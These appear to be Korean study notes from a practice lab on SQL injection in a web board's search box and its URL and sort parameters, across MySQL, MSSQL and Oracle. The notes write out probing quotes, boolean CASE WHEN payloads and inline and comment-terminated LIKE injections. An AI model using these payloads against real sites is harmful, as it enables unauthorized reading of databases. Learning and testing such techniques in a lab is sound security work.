게시판 내 검색창에서 실습 [mysql]
a) ' 로 서칭했을 때 일부의 쿼리가 노출된다 -> 공격자로써 힌트가 되는 정보
b) tes' 't -> 테스트로 검색 됨
tes'b't -> 에러 발생
c) 게시 글을 눌렀을 때 URL을 활용
domain/idx=6을 7-1로 변경
d) 컬럼쪽에서 No, Wirte, Title 등으로 순서 정렬 변경해보기
변경되는 도메인에 ORDAR BY 절로 테스트 -> order by idx desc
idx에 a를 입력하면 에러 발생, 1을 입력하면 정상 출력
-> 조건구문 = idx에 (case when 1=1 then 컬럼명 else 컬럼명 end)
e) Sort=desc에 desc 값을 a를 넣었을 때 정상 출력, 1 적었을 때 에러
-> 조건구문 = idx를 지우고 sort=(case when 1=1 than idx else title end)
MSSQL
a) mysql와 동일
b) ' ' 오류 발생, 이건 mysql용이기때문 / '+' 정상출력
c) idx=6에서 idx=' 에러 발생
-> 조건구문 = 6 and 1=1 정상 / 6 and 1=2 존재하지않는다.
idx=(case when 1=1 then 5 else 1 end)
오라클도 거의 동일하다
검색란을 이용한 취약점 분석 방법론
검색어 기본적으로 구문이 SELECT * FROM board WHERE title like '%검색어%'로 되어있다.
웹마다 다르므로 참고용이다.
like 연산자가 사용되었고 %가 양싸이드에 감싸져있다.
test를 검색했을 때 test가 들어간 글이 모두 뜨는 이유는 %가 양싸이드에 있기 때문이다.
%가 작동하려면 ' ' 이것이 감싸줘야한다.
인라인 SELECT FROM board WHERE title like '%test%' and '1%'='1%'
터미네이팅 SELECT FROM board WHERE title like '%test%' and 1=1--%
틀린 구문 title like '%' and '1'='1%
맞는 구문 title like '%' and '1%'='1%'
select * from baord where title like '%'||(case when 1=1 then 'test' else 'aaaa' end)||'%'
'%'||'test'||'%' = '%test%'와 동일한 값이 나오고
거짓일 경우 '%aaaaa%'가 조회된다. aaaaa가 없다면 조회가 되지않는다.